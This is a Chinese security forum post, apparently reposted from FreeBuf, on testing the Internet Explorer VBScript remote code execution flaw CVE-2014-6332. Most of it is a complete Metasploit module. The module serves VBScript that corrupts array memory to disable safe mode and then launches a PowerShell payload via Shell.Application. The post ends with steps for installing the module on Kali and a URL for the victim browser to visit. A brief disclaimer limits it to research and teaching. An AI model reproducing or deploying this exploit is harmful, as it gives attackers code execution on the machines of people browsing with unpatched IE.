首页
社区
课程
招聘
IE远程代码执行漏洞(CVE-2014-6332)利用测试方法
发表于: 2014-11-17 23:42 1206

IE远程代码执行漏洞(CVE-2014-6332)利用测试方法

2014-11-17 23:42
1206
Win95+IE3 – Win10+IE11全版本执行漏洞

微软本月安全更新修复了一个潜藏了18年的IE远程代码执行漏洞(CVE-2014-6332),可以说是给windows吃了一颗大补丸。缺陷出现在VBScript的代码中,自Windows 95首次发布(19年前)以来就一直存在。详情点我

Metasploit Framework下的利用测试

所有IE版本通杀,但是由于msf中自带的exp中调用的是 powershell,所以msf(Metasploit Framework)中的exp代码只对安装powershell的系统生效。我们这里测试受害的机器为windows2008.

本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

msf代码:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Windows OLE Automation Array Remote Code Execution",
      'Description'    => %q{
          This modules exploits the Windows OLE Automation Array Remote Code Execution Vulnerability.
                  Internet MS-14-064, CVE-2014-6332. The vulnerability exists in Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.  
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'IBM', # Discovery
          'yuange <twitter.com/yuange75>', # PoC
          'Rik van Duijn <twitter.com/rikvduijn>', #Metasploit
          'Wesley Neelen <security[at]forsec.nl>'  #Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2014-6332' ]
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC'         => "none"
        },
      'Platform'       => 'win',
      'Targets'        =>  
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "November 12 2014",
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
        payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
        payl.slice! "powershell.exe "
   
        html = <<-EOS
<!doctype html>

<html>

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >

<head>

</head>

<body>

<SCRIPT LANGUAGE="VBScript">

function trigger()

On Error Resume Next

set shell=createobject("Shell.Application")

shell.ShellExecute "powershell.exe", "#{payl}", "", "open", 1

end function

</script>
<SCRIPT LANGUAGE="VBScript">

dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()

  On Error Resume Next

  info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
  else

     exit   function            

  end if

  win9x=0

  BeginInit()

  If Create()=True Then

     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)

     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then

         document.write("<br> IE")

         document.write(intVersion)

         runshellcode()                    

     else  

          setnotsafemode()

     end if

  end if

end function

function BeginInit()

   Randomize()

   redim aa(5)

   redim ab(5)

   a0=13+17*rnd(6)

   a3=7+3*rnd(5)

end function

function Create()

  On Error Resume Next

  dim i

  Create=False

  For i = 0 To 400

    If Over()=True Then

    '   document.write(i)     

       Create=True

       Exit For

    End If

  Next

end function

sub testaa()

end sub

function mydata()

    On Error Resume Next

     i=testaa

     i=null

     redim  Preserve aa(a2)  

  

     ab(0)=0

     aa(a1)=i

     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray

     ab(2)=1.74088534731324E-310  

     mydata=aa(a1)

     redim  Preserve aa(a0)  

end function

function setnotsafemode()

    On Error Resume Next

    i=mydata()  

    i=readmemo(i+8)

    i=readmemo(i+16)

    j=readmemo(i+&h134)  

    for k=0 to &h60 step 4

        j=readmemo(i+&h120+k)

        if(j=14) then

              j=0         

              redim  Preserve aa(a2)            

     aa(a1+2)(i+&h11c+k)=ab(4)

              redim  Preserve aa(a0)  

     j=0

              j=readmemo(i+&h120+k)   

         

               Exit for

           end if

    next

    ab(2)=1.69759663316747E-313

    trigger()

end function

function Over()

    On Error Resume Next

    dim type1,type2,type3

    Over=False

    a0=a0+a3

    a1=a0+2

    a2=a0+&h8000000

  

    redim  Preserve aa(a0)

    redim   ab(a0)     

  

    redim  Preserve aa(a2)

  

    type1=1

    ab(0)=1.123456789012345678901234567890

    aa(a0)=10

         

    If(IsObject(aa(a1-1)) = False) Then

       if(intVersion<4) then

           mem=cint(a0+1)*16            

           j=vartype(aa(a1-1))

           if((j=mem+4) or (j*8=mem+8)) then

              if(vartype(aa(a1-1))<>0)  Then   

                 If(IsObject(aa(a1)) = False ) Then            

                   type1=VarType(aa(a1))

                 end if               

              end if

           else

             redim  Preserve aa(a0)

             exit  function

           end if

        else

           if(vartype(aa(a1-1))<>0)  Then   

              If(IsObject(aa(a1)) = False ) Then

                  type1=VarType(aa(a1))

              end if               

            end if

        end if

    end if

              

   

    If(type1=&h2f66) Then         

          Over=True      

    End If  

    If(type1=&hB9AD) Then

          Over=True

          win9x=1

    End If  

    redim  Preserve aa(a0)         

        

end function

function ReadMemo(add)

    On Error Resume Next

    redim  Preserve aa(a2)  

  

    ab(0)=0   

    aa(a1)=add+4     

    ab(0)=1.69759663316747E-313      

    ReadMemo=lenb(aa(a1))  

   

    ab(0)=0   

    redim  Preserve aa(a0)

end function

</script>

</body>

</html>
    EOS

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})

  end

end
代码导入Metasploit Framework

在kali系统中,把上面源码复制到下面文件中。
vim /usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_064_safemodedisable.rb
利用测试

在windows2008上用IE访问链接。

http://192.9.205.174/share

[本文由作者dalin撰写并投稿,转载请注明来自FreeBuf.COM]

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//